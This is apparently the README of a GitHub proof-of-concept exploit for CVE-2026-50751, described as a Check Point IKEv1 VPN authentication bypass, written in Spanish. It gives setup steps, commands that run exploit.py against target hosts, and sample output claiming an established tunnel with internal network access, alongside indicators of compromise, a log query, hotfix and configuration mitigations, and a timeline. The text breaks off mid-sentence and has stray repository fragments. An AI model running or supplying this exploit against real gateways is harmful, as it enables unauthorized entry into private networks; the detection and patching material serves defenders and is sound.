# Clonar repositorio
git clone https://github.com/username/CVE-2026-50751-PoC
cd CVE-2026-50751-PoC

# Instalar dependencias
pip install -r requirements.txt

# Dar permisos de ejecución
chmod +x exploit.py
📦 Dependencias
txt
cryptography>=41.0.0
scapy>=2.5.0
🚀 Uso
Escaneo de detección
bash
# Detectar si IKEv1 está habilitado
python3 detector.py -t 192.168.1.1 -p 500

# Escaneo rápido
python3 detector.py -t vpn.target.com -p 4500
Explotación (AUTHORIZED USE ONLY)
bash
# Ejecutar bypass de autenticación
python3 exploit.py -t 192.168.1.1 -p 500

# Con interfaz específica
python3 exploit.py -t vpn.target.com --interface eth0

# Modo verbose
python3 exploit.py -t 192.168.1.1 -p 500 -v
Output esperado
text
╔═══════════════════════════════════════════════════════════════╗
║  CVE-2026-50751 - Check Point IKEv1 Authentication Bypass   ║
║  Critical VPN Authentication Bypass Exploit                 ║
║  CVSS: 9.3 | CISA KEV: 2026-06-08                          ║
╚═══════════════════════════════════════════════════════════════╝

[1] Initiating IKEv1 Main Mode...
[+] Received response - SPI: a1b2c3d4e5f67890
[2] Sending crafted KE + NONCE payloads...
[+] Gateway accepted crafted KE/NONCE - Vulnerability triggered!
[3] Calculating authentication keys...
[4] Sending spoofed authentication...
[+] SUCCESS! Authentication bypassed!
[+] Established IKE SA without valid credentials
[5] Establishing VPN tunnel...
[+] VPN tunnel established!
[+] Internal network access available

[✓] EXPLOIT SUCCESSFUL
[✓] Authentication bypass achieved
[✓] VPN tunnel established
[!] System is VULNERABLE - Apply hotfix immediately
🔍 Detección de Compromiso
Buscar en logs de SmartConsole
bash
# Query para detectar atacantes
action:"Key Install" AND (src:45.77.149.152 OR dst:45.77.149.152)
IOCs Conocidos
Tipo	Valor
IPs atacantes	45.77.149.152, 209.182.225.136, 38.60.157.139, 162.33.177.101, 45.76.26.42, 144.208.127.155, 38.54.88.201, 38.54.107.167, 66.42.99.200, 45.63.104.106, 45.61.136.173
Hashes	52fda5c1b9704544f32ee98d9060e689, 51d39aa39478beeac94f2d12f682ecce
🛡️ Mitigación
Opción 1 - Aplicar Hotfix (RECOMENDADO)
Versión	Hotfix Take	Link
R82.10	Take 19	Descargar
R82	Take 103	Descargar
R81.20	Take 141	Descargar
Opción 2 - Mitigaciones Temporales
Deshabilitar legacy clients:

SmartConsole → Gateway → VPN Clients → Authentication

Desmarcar "Allow older clients"

Forzar IKEv2 solamente:

Global Properties → Remote Access → VPN Authentication

Seleccionar "IKEv2 only"

Hacer obligatorio Machine Certificate:

VPN Clients → Authentication → Machine Certificate Authentication

Setear como "Mandatory"

📚 Referencias
NVD - CVE-2026-50751

Check Point SK185033

CISA Known Exploited Vulnerabilities

Blog Post - Check Point Research

📊 Timeline
Fecha	Evento
2026-05-07	Primera explotación observada
2026-06-04	Check Point inicia investigación
2026-06-08	CVE publicado, CISA añade a KEV
2026-06-11	Fecha límite CISA para parchear
⚖️ Disclaimer
Este software se proporciona "tal cual", sin garantías de ningún tipo. El autor no es responsable por el uso indebido de esta herramienta. Úsela únicamente en sistemas que posea o tenga autorización explícita para probar.

📞 Contacto
Para reportar bugs o contribuir:

Abrir un issue en GitHub

Contacto: [email protected]

🌟 Créditos
Check Point Research - Por el descubrimiento y análisis

CISA - Por la coordinación y difusión

Comunidad de seguridad - Por la respuesta rápida

⭐ Si este PoC te fue útil, considera darle una estrella al repositorio

text

## 📄 **LICENSE** (GPLv3)



📦 requirements.txt
txt
cryptography>=41.0.0
scapy>=2.5.0
colorama>=0.4.6
⚠️ Nota importante para GitHub: